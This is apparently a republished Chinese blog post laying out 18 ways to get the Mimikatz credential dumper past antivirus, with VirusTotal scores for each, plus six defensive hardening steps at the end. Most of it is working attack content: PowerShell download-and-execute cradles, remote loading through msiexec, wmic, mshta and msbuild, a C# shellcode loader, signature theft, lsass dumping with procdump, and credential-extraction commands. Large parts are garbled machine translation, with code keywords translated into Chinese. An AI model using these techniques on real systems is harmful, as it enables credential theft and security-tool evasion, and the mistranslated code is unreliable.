Mimikatz的18种免杀姿势及防御策略,免杀测试

Mimikatz的18种免杀姿势及防御策略0x02 免杀介绍
本文主要介绍了如下5类免杀方式,共18种免杀方法。
本文虽然是针对Mimiktaz进行免杀,但更多的是想研究学习一下比较通用的exe的免杀方式&#

0x02 免杀介绍

本文主要介绍以下5种防病毒方法,共计18种防病毒方法。

本文旨在避免查杀Mimiktaz,但更重要的是避免查杀Mimiktaz,更重要的是避免查杀exe,包括exe通用加载器、exe的PowerShell执行、exe的白名单加载,这些在我想研究和学习更通用的方法来做到这一点。有几种方法。如果你只是想避免杀死mimikatz,则不需要这么冗长。

1.源代码中没有强制终止的情况。如果有源代码,您可以搜索功能代码、添加花哨指令、执行多级跳转、添加无效指令、替换API、重写API、伪调用API等等。这部分内容非常复杂,所以是面向未来的。我会再写一篇文章。我会在这篇文章中介绍,但本文不会过多介绍。

2. 没有源代码的防病毒软件。如果无法修改源代码,需要制作exe杀毒,可以添加资源、替换资源、加壳、添加签名、优化PE、添加节数据等。本文中的方法1是最简单的方法。

3.避免Powershell 由于mimikatz有powershell版本或者可以使用powershell加载,所以本文中的方法2-6也都是避免powershell的方法。

4. 加载程序隔离防病毒加载程序使用ShellCode 和PE 隔离来实现防病毒效果。然而,其中许多只能加载RAW。正式或固定形式的shellcode 对exe 程序无能为力。所以这次,我专门找了一些流行的exe加载器,将exe转换为bin文件,并为mimikatz加载。 没有格式限制。这里介绍了7到10种类型的防病毒程序。

5、白名单防杀白名单主要利用rundll32、msbuild、mshta、cscript等白名单程序加载mimikatz中嵌入的jscript脚本。这部分没有太多亮点,与遥控防杀不同。之前写的白名单文章基本是这样的。加载白名单的方法部分基于R1ngk3y的文章9 Postures for Running Mimikatz。

0x03 mimikatz免杀实践

方法0-原生态mimikatz.exe(VT查杀率55/71)

首先,我们在virustotal.com 上测试原始mimikatz 的杀伤力,并衡量其他防病毒软件的有效性。

最新的mimikatz可以从https://github.com/gentilkiwi/mimikatz/releases下载。最新版本是2.2.0(20200308)。以64位mimiktaz为例进行测试。

开启360度防护会被拦截

virustotal.com 上的检测率为55/71。

方法1-加壳+签名+资源替换(VT查杀率9/70)

这里先介绍一下比较常见的PE防病毒方法。这是替换资源+包+签名。此外,mimikatz 是开源的,还可以修改防病毒处理的有效性。源代码可能会更好。这里没有太多可讨论的。

需要一些软件。 VMProtect Ultimate 3.4.0 加壳软件,下载链接: 百度网盘,请输入提取码提取码: emnq

签名软件https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/sigthief.py

资源替换软件ResHacker:https://github.com/TideSec/BypassAntiVirus/blob/master/tools/mimikatz/ResHacker.zip

首先替换资源,使用ResHacker打开mimikatz.exe,将图标替换为360图标,并根据需要更改版本中的文字。

安装vmp压缩软件后,使用vmp进行压缩。

使用sigthief.py 对上一步生成的exe 文件进行签名。有关使用sigthief 的更多信息,请参阅https://github.com/secretsquirrel/SigThief。

然后检查是否可以运行。 360和Tinder都不错。

mimikatz32_360.exe文件在VT平台上的检出率为9/70,但缺点是压缩后vmp较大。

方法2-Invoke-Mimikatz(VT查杀率39/58)

如果exe文件的执行被拦截,最常见的想到的就是使用PowerSploit中的Invoke-Mimikatz.ps1。虽然它是PowerShell格式的,但由于其受欢迎程度,目前正在被检查和杀死。

你可以去PowerSploit下载,也可以下载我给你打包的那个。

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1

将Invoke-Mimikatz.ps1 放置在您的测试机器上并在本地运行。

C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -exec 绕过\’导入模块c:\\test\\Invoke-Mimikatz.ps1;Invoke-Mimikatz\’

防病毒软件拦截该操作,并检查并杀死Invoke-Mimikatz.ps1脚本。

PowerShell脚本更方便,因为它们可以远程加载

powershell.exe IEX (新对象Net.WebClient).DownloadString(\’https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1\’);Invoke-Mimikatz

但是,对raw.githubusercontent.com 的访问通常受到限制,因此您可能会看到此提示。

所以我最终将相关代码放在我的vps 上,并直接放在我的内网上的另一台电脑上。

Powershell仍然被360行为拦截。

您可以尝试使用Team Promise Boss Intranet Intrusion – Windows Persistence Backdoor文章中的以下绕过方法。

powershell.exe -w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常- w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常-w 正常\’IEX( New-Object Net.WebClient).DownloadString(\’https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1\’);Invoke-Mimikatz\’

不会触发Powershell 下载行为警告。

Invoke-Mimikatz.ps1 脚本在virustotal.com 上的检出率为39/58。

方法3-使用Out-EncryptedScript加密(VT查杀率0/60)

查看获取Mimikatz 无文件和防病毒软件的一些简单步骤- 简书

Powersploit 提供的许多工具都是加密的,包括加密脚本。

首先,在本地加密Invoke-Mimikatz.ps1。

首先,下载Out-EncryptedScript.ps1 脚本。下载地址:https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1

在我的电脑上按顺序运行

电源外壳程序

导入模块.\\Out-EncryptedScript.ps1

Out-EncryptedScript -ScriptPath .\\Invoke-Mimikatz.ps1 -密码TideSec -Salt 123456

默认情况下,会生成evil.ps1 文件。其中两个参数: – 密码设置加密密钥。 – 盐是随机数,防止暴力破解。

将加密的evil.ps1脚本放置在目标机器上并运行以下命令:

电源外壳程序

IEX(新对象Net.WebClient).DownloadString(\’https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1\’)

[字符串] $cmd=Get-Content .\\evil.ps1

调用表达式$cmd

$已解密=detidesec 123456

调用表达式$decrypted

调用咪咪剪辑

扫描并杀死evil.ps1文件

virustotal.com 上邪恶.ps1 文件的检测率为0/60。

方法4-使用xencrypt加密(VT查杀率2/59)

该方法主要利用工具对PowerShell脚本进行加密,并利用Gzip/DEFLATE绕过杀毒软件。

工具地址https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/xencrypt.ps1

下载Invoke-Mimikatz.ps1

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1

还将xencrypt.ps1 放在同一目录中

使用PowerShell 运行

导入模块./xencrypt.ps1

Invoke-Xencrypt -InFile .\\Invoke-Mimikatz.ps1 -OutFile mimi.ps1 -迭代88

生成mimi.ps1

嵌入

C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -exec 绕过\’导入模块c:\\test\\mimi.ps1;Invoke-Mimikatz\’

virustotal.com 上mimi.ps1 文件的检测率为2/59。

方法5-PowerShell嵌入EXE文件(VT查杀率15/58)

该方法实际上是将exe程序转换为字符串,嵌入到Invoke-ReflectivePEInjection.ps1中,然后直接运行。引用访问的文章正在审核中. – FreeBuf 网络安全行业平台

将以下代码保存为Convert-BinaryToString.ps1。

函数Convert-BinaryToString {

[CmdletBinding()] 参数(

[字符串] $文件路径

尝试{

$ByteArray=[System.IO.File]:ReadAllBytes($FilePath);

}

抓住{

抛出“读取文件失败。确保您拥有该文件的权限并且文件路径正确。 \’;

}

如果($ByteArray){

$Base64String=[System.Convert]:ToBase64String($ByteArray);

}

除此之外{

抛出\’$ByteArray 为$null。 \’;

}

写入输出-InputObject $Base64String

}

运行powershell import-module .\\Convert-BinaryToString.ps1; Convert-BinaryToString .\\mimikatz.exe 1.txt。

下载Invoke-ReflectivePEInjection.ps1。这是来自Empire 的,允许您使用PEURl 参数。 https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1

创建一个新的payload.ps1,内容如下:您需要将1.txt 的内容替换为Invoke-ReflectivePEInjection 的内容。

# Base64编码的二进制

$InputString=\’.\’ #上面1.txt的内容

函数Invoke-ReflectivePEInjection #Invoke-ReflectivePEInjection 的内容

{

.

.

.

}

# 将Base64 字符串转换为字节数组

$PEBytes=[System.Convert]:FromBase64String($InputString)

# 在内存中运行EXE

调用反射PEInjection -PEBytes $PEBytes -ExeArgs \’Arg1 Arg2 Arg3 Arg4\’

然后在目标计算机上运行powershell -ExecutionPolicy Bypass -File Payload.ps1。

我打开杀毒软件,发现无法通过静态扫描。事实上,这是众所周知的。

PE平台与正在加载的进程的体系结构不匹配(32/64位)

请使用32位powershell%windir%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass -File Payload.ps1。

virustotal.com 上的Payload.ps1 文件的检测率为15/58。

方法6-C程序中执行powershell(VT查杀率7/71)

这个也比较简单,用C代码运行PowerShell。

首先借用Invoke-Mimikatz.ps1

powershell $c2=\’IEX(新对象Net.WebClient).Downlo\’;$c3=\’adString(\’\’http://10.211.55.2/mimikatz/Invoke-Mimikatz.ps1\’\’)\’; $Text=$c2+$c3; IEX(-join $Text);调用-Mimikatz

使用C语言系统函数执行powershell。

#includesdio.h

#includestdlib.h

int main(){

系统(\’powershell $c2=\’IEX (新对象Net.WebClient).Downlo\’;$c3=\’adString(\’\’http://10.211.55.2/mimikatz/Invoke-Mimikatz.ps1\’\’)\’; $Text=$c2+ $c3; IEX(-join $Text);调用-Mimikatz\’);

返回0。

}

将其编译成exe文件以避免强制终止。但是,当我运行exe时,会触发360警报。

virustotal.com 上Project1.exe 文件的检测率为7/71。

方法7-使用加载器pe_to_shellcode(VT查杀率47/70)

下载https://github.com/hasherezade/pe_to_shellcode

将mimikatz.exe 转换为shellcodepe2shc.exe mimikatz.exe mimi.txt

runshc64.exe 加载mimi.txt。

virustotal.com 上mimi.txt 文件的检测率为47/70。该文件似乎已被列入黑名单。

方法8-c#加载shellcode(VT查杀率21/57)

请参阅远程控制防病毒专题(38)-白名单Rundll32.exe执行负载(VT防病毒等级22-58)https://mp.weixin.qq.com/s/rm**AWC6HmcphozfEZhRGA

首先,使用上面介绍的pe_to_shellcode方法将mimikatz.exe转换为mimi.txt。

接下来,使用bin2hex.exe 将mimi.txt 转换为十六进制文件。 bin2hex.exe 可以从这里下载:https://github.com/TideSec/BypassAntiVirus/blob/master/tools/bin2hex.exe。

bin2hex.exe –i mimi.txt –o mimi2.txt

在vs2017中创建一个C#控制台项目,并在以下代码中将mimi2.txt中的十六进制值输入到MsfPayload中。

使用系统;

使用系统线程。

使用System.Runtime.InteropServices。

命名空间MSFWrapper

{

公开课项目

{

公共程序()

{

运行MSF();

}

公共静态无效RunMSF()

{

字节[] MsfPayload={

0x4D、0x5A、0x45、0x52、0xE8、0x00、0x00、0x00、0x00、0x5B、0x48、0x83、

0x41、0x59、0x41、0x58、0x41、0x5C、0x5F、0x5E、0x5B、0xC2、0x04、0x00};

IntPtr returnAddr=VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length,0x1000),0x3000,0x40);

Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);

CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);

线程.睡眠(2000);

}

公共静态无效Main()

{

}

[DllImport(\’kernel32.dll\’)]

公共静态extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport(\’kernel32.dll\’)]

公共静态extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

}

}

编译并生成exe文件。

接下来,使用DotNetToJScript将csharp文件转换为js。

DotNetToJScript.exe -l=JScript -o=mimikatz.js -c=MSFWrapper.Program ConsoleApp1.exe

使用cscript.exe mimikatz.js 来运行它。

virustotal.com 上mimi.txt 文件的检测率为21/57。

方法9-Donut执行mimikatz(VT查杀率29/71)

首先,使用donut 将mimiktaz.exe 转换为bin 文件。

甜甜圈.exe -f mimikatz.exe -o mimi.bin

Base64 编码mimi.bin 并将其保存到剪贴板。 powershell命令是:

$文件名=\’mimi.bin\’

[转换]:ToBase64String([IO.File]:ReadAllBytes($filename)) 剪辑

将Base64 编码复制到您的DonutTest 项目中。

编译并生成exe。

我注入进程,发现无法进行notepad.exe的注入,但是可以进行powershell的注入。

然而,他们仍在接受调查,并发现他们是被谋杀的。

VT杀伤率为29/71,为什么这么可怜?

方法10-msf 装载箱(VT 死亡率2/5

9)

Donut下载https://github.com/TheWover/donut

下载shellcode_inject.rb代码https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/shellcode_inject.rb

1、首先使用Donut对需要执行的文件进行shellcode生成,这里对mimi进行shellcode生成,生成bin文件,等下会用到。

donut.exe -f mimikatz.exe -a 2 -o mimi.bin

windows下的0.9.3版本的donut没能生成,于是使用了0.9.2版本。

kali下的0.9.3可正常使用。

2、将上面的shellcode_inject.rb放入/opt/metasploit-framework/embedded/framework/modules/post/windows/manage下(实际路径可能不同,也就是metasploit-framework的上级路径,根据实际情况调整),然后进入msf,reload_all同时载入所有模块。

kali里是在目录/usr/share/metasploit-framework/modules/post/windows/manage/

mac下是在/opt/metasploit-framework/embedded/framework/modules/post/windows/manage

3、使用之前载入的shellcode_inject注入模块,这里是获取session后的操作了,session先自己上线再进行以下操作

use post/windows/manage/shellcode_inject
set session 2
set shellcode /tmp/payload.bin
run
最后成功加载了mimi,使用shellcode注入执行,有更强的隐蔽性。

VT平台上mimi.bin文件查杀率2/59,卡巴斯基这都能查杀…

方法11-用C#加载mimikatz(VT查杀率35/73)

参考https://www.jianshu.com/p/12242d82b2df

参考远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70):远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70)

下载

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/katz.cs
将katz.cs放置C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727先powoershell执行

$key = \’BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=\’
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
再cmd执行

C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs
C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regsvcs.exe katz.exe
运行时需要管理员权限,而且360会拦截

放行后可正常执行

virustotal.com上katz.exe查杀率为35/73,略惨。

方法12-JS加载mimikatz(VT查杀率22/59)

参考远控免杀专题(38)-白名单Rundll32.exe执行payload(VT免杀率22-58):https://mp.weixin.qq.com/s/rm**AWC6HmcphozfEZhRGA

这个是大佬已经做好的payload,可以直接进行使用。

用DotNetToJScript实现

https://github.com/tyranid/DotNetToJScript
mimikatz

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.js
执行cscript mimikatz.js,360会拦截。

放行后可正常执行

virustotal.com上mimikatz.js查杀率为22/59。

方法13-msiexec加载mimikatz(VT查杀率25/60)

参考远控免杀专题(35)-白名单Msiexec.exe执行payload(VT免杀率27-60):远控免杀专题(35)-白名单Msiexec.exe执行payload(VT免杀率27-60)

使用Advanced Installer生成msi文件。

远程执行

msiexec.exe /passive /i https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.msi /norestart

本地执行

msiexec /passive /i Mimikatz.msi

virustotal.com上mimikatz.msi查杀率为25/60。

方法14-白名单msbuild.exe加载(VT查杀率4/59)

可参考之前的远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57):远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)

下载mimikatz.xml

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/executes-mimikatz.xml
执行

C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe executes-mimikatz.xml
火绒会预警,360不会

virustotal.com上executes-mimikatz.xml查杀率为4/59。

方法15-JScript的xsl版(VT查杀率7/60)

下载

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.xsl
本地加载

wmic os get /format:\”mimikatz.xsl\”
远程加载

wmic os get /format:\”https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.xsl\”

放行后

virustotal.com上mimikatz.xsl查杀率为7/60。

方法16-jscript的sct版(VT查杀率23/59)

参考远控免杀专题(37)-白名单Mshta.exe执行payload(VT免杀率26-58):远控免杀专题(37)-白名单Mshta.exe执行payload(VT免杀率26-58)

下载

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.sct
执行

mshta.exe javascript:a=GetObject(\”script:https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.sct\”).Exec(); log coffee exit
360拦截依旧

virustotal.com上mimikatz.sct查杀率为23/59。

方法17-ReflectivePEInjection加载(VT查杀率32/57)

ReflectivePEInjection是powersploit里的比较有名的一个pe加载脚本,很好使。

下载

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1
执行

powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString(\’https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1\’);Invoke-ReflectivePEInjection -PEUrl \”http://10.211.55.2/mimikatz/x64/mimikatz.exe\” -ExeArgs \”sekurlsa::logonpasswords\” -ForceASLR

这个用什么来衡量免杀都不太合适,我就用Invoke-ReflectivePEInjection.ps1吧。在virustotal.com上Invoke-ReflectivePEInjection.ps1查杀率为32/57。

方法18-导出lsass进程离线读密码(VT查杀率0/72)

windows有多款官方工具可以导出lsass进程的内存数据,比如procdump.exe、SqlDumper.exe、Out-Minidump.ps1等,我这里以procdump.exe为例进行演示。

procdump.exe工具是微软出品的工具,具有一定免杀效果。可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码。

procdump.exe下载BypassAntiVirus/tools/mimikatz/procdump.exe at master · TideSec/BypassAntiVirus · GitHub

在目标机器执行下面命令,导出lsass.dmp

procdump.exe -accepteula -ma lsass.exe lsass.dmp
再使用mimikatz读取密码

mimikatz.exe \”sekurlsa::minidump lsass.dmp\” \”sekurlsa::logonPasswords full\” exit
需要注意的是从目标机器导出的lsass.dmp需要在相同系统下运行。

在virustotal.com上procdump.exe查杀率为0/72,不过这种读取lsass的行为早就被各大杀软拦截了,所以这种静态查杀没有太大参考价值。

我们团队的诺言大佬写过一篇可绕过卡巴斯基获取hash的方法,可以看这个【红蓝对抗】内网渗透-免杀抓取windows hash。

0x04 防御mimikatz的6种方法

由于mimikatz工具太厉害,横向移动必备神器,所以针对mimikatz的加固方法也有不少,这里简单介绍几种。

方法1-WDigest禁用缓存

WDigest.dll是在Windows XP操作系统中引入的,当时这个协议设计出来是把明文密码存在lsass里为了http认证的。WDigest的问题是它将密码存储在内存中,并且无论是否使用它,都会将其存储在内存中。

默认在win2008之前是默认启用的。但是在win2008之后的系统上,默认是关闭的。如果在win2008之前的系统上打了KB2871997补丁,那么就可以去启用或者禁用WDigest。

KB2871997补丁下载地址:

Windows 7 x86 https://download.microsoft.com/download/9/8/7/9870AA0C-BA2F-4FD0-8F1C-F469CCA2C3FD/Windows6.1-KB2871997-v2-x86.msu
Windows 7 x64 https://download.microsoft.com/download/C/7/7/C77BDB45-54E4-485E-82EB-2F424113AA12/Windows6.1-KB2871997-v2-x64.msu
Windows Server 2008 R2 x64 Edition https://download.microsoft.com/download/E/E/6/EE61BDFF-E2EA-41A9-AC03-CEBC88972337/Windows6.1-KB2871997-v2-x64.msu
启用或者禁用WDigest修改注册表位置:

HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\SecurityProviders\\WDigest

UseLogonCredential 值设置为 0, WDigest不把凭证缓存在内存,mimiktaz抓不到明文;UseLogonCredential 值设置为 1, WDigest把凭证缓存在内存,mimiktaz可以获取到明文。

在注册表中将UseLogonCredential 值设置为 0,或者使用命令

reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

我们可以通过如下命令来测试修改是否生效:

reg query HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential

如果成功,系统应该会返回如下内容:

注销后重新登录,发现mimikatz已经无法获取明文密码。

方法2-Debug 权限

Mimikatz在获取密码时需要有本地管理员权限,因为它需要与lsass进程所交互,需要有调试权限来调试进程,默认情况下本地管理员拥有调试权限,但是这个权限一般情况是很少用得到的,所以可以通过关闭debug权限的方法来防范Mimikatz。

删除上图的administrators组,这样管理员也没了debug权限。

注销后再执行mimiktaz,获取debug权限时发现报错。

方法3-LSA 保护

自Windows 8.1 开始为LSA提供了额外的保护(LSA Protection),以防止读取内存和不受保护的进程注入代码。保护模式要求所有加载到LSA的插件都必须使用Microsoft签名进行数字签名。 在LSA Protection保护模式下,mimikatz运行 sekurlsa::logonpasswords抓取密码会报错。

可以通过注册表开启LSA Protection,注册表位置:HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa新建-DWORD(32)值,名称为 RunAsPPL,数值为 00000001,然后重启系统生效。

或者使用命令来完成

REG ADD \”HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\” /v \”RunAsPPL\” /t REG_DWORD /d \”00000001\” /f

重启后再执行mimikatz.exe,发现已经无法获取密码。

此时其实可以从磁盘上的SAM读取凭据,执行

mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam

方法4-受限制的管理模式

对于 Windows 2012 R2 和 Windows 8.1 之前的旧操作系统,需要先安装补丁KB2871997。

先在 HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Lsa 设置RunAsPPL为1然后在 HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Lsa 设置 DisableRestrictedAdmin为0 , DisableRestrictedAdminOutboundCreds为1。

然后需要在域中强制执行“对远程服务器的凭据限制委派”策略,以确保所有出站RDP会话都使用“RestrictedAdmin”模式,因此才不会泄露凭据。

具体位置是组策略:计算机配置–管理模板–系统–凭据分配–限制向远程服务器分配凭据,选择已启用,但是我的环境里选项一栏中没有看到Require Restricted Admin。

在执行 lsadump::cache时报错,ERROR kuhl_m_lsadump_secrets0rCache:kull_m_registry_RegOpenKeyEx (SECURITY) 0x00000005该错误,是注册表增加了LSA保护所起到的。

方法5-禁用凭证缓存

Domain Cached Credentials 简称 DDC,也叫 mscache。有两个版本,XP/2003 年代的叫第一代,Vasta/2008 之后的是第二代。如果域控制器不可用,那么windows将检查缓存的最后一个密码hash值,这样为以后系统对用户进行身份验证。缓存位置如下:

HKEY_LOCAL_MACHINE\\SECURITY\\Cache
在组策略中设置禁用缓存

计算机配置–windows设置–安全设置–本地策略–安全选项 交互式登录:之前登录到缓存的次数(域控制器不可用时) 默认是10,设置为0

注销后再次执行mimikatz,没有读取到任何用户数据。

方法6-受保护的用户组

WindowsServer 2012及更高版本使用了引入了一个名为“Protected Users”的新安全组,其他系统需要安装 KB2871997 补丁才会有。

此组使域管理员能够保护本地管理员等有权限的用户,因为属于该组的任何帐户只能通过Kerberos对域进行身份验证。

这将有助于防止NTLS密码哈希值或LSAS中的纯文本凭据泄露给敏感帐户,这些帐户通常是攻击者的目标。

可以在“Active Directory用户和计算机”中找到“Protected Users”安全组。

在配置之前,使用mimikatz可读取明文密码。

可以通过执行以下PowerShell命令将帐户添加到“受保护的用户”组中:

Add-ADGroupMember –Identity \’Protected Users\’ –Members administrator

注销后再次执行mimikatz,已经看不到administrator用户的密码了。

0x05 小结

通过对mimikatz免杀的研究,也算是对之前的远控免杀专题文章进行了重温和实践,整理了几种能适用于任意exe文件的免杀方法,最起码以后看到杀软不会那么咬牙切齿了。

1、源码级免杀应该是效果比较好的,不过对编程能力、免杀经验要求比较高,不少大佬手头上都有私藏定制的全免杀的mimikatz,很多都是通过源码处理后再编译来免杀的。

2、通过修改资源、签名、pe优化修改等方式相对简单一些,不过免杀效果也差了一些,很多时候静态查杀能过,但行为查杀就废了。

3、针对powershell来加载或执行mimikatz时,免杀主要针对powershell脚本,免杀效果也很好,不过你在目标机器上怎么执行powershell而不触发杀软行为检测是个问题。

4、加载器的免杀效果整体算不错,当然donut是个例外,因为他开源而且知名度比较高,里面特征码被查杀的太厉害,如果稍微修改下源码再编译应该会好很多。

5、白名单执行大部分还是使用了将C#程序转为js的方法,静态免杀效果还不错,但白名单最尴尬的是远程调用时杀软都会拦截报警,在2008服务器上你用webshell调用任意程序最新的360都会拦截。

0x06 参考资料

防御mimikatz抓取密码的方法:https://zhuanlan.zhihu.com/p/59337564

Bypass LSA Protection:https://xz.aliyun.com/t/6943

防御Mimikatz攻击的方法介:防御Mimikatz攻击的方法介绍 – FreeBuf网络安全行业门户

九种姿势运行Mimikatz:九种姿势运行Mimikatz-腾讯云开发者社区-腾讯云

Mimikatz的多种攻击方式以及防御方式:http://blog.itpub.net/69946337/viewspace-2658825/

简单几步搞定Mimikatz无文件+免杀:简单几步搞定Mimikatz无文件+免杀 – 简书

#以上关于Mimikatz的18种免杀姿势及防御策略的相关内容来源网络仅供参考,相关信息请以官方公告为准!

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92926.html

Like (0)
CSDN的头像CSDN
Previous 2024年7月4日
Next 2024年7月4日

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注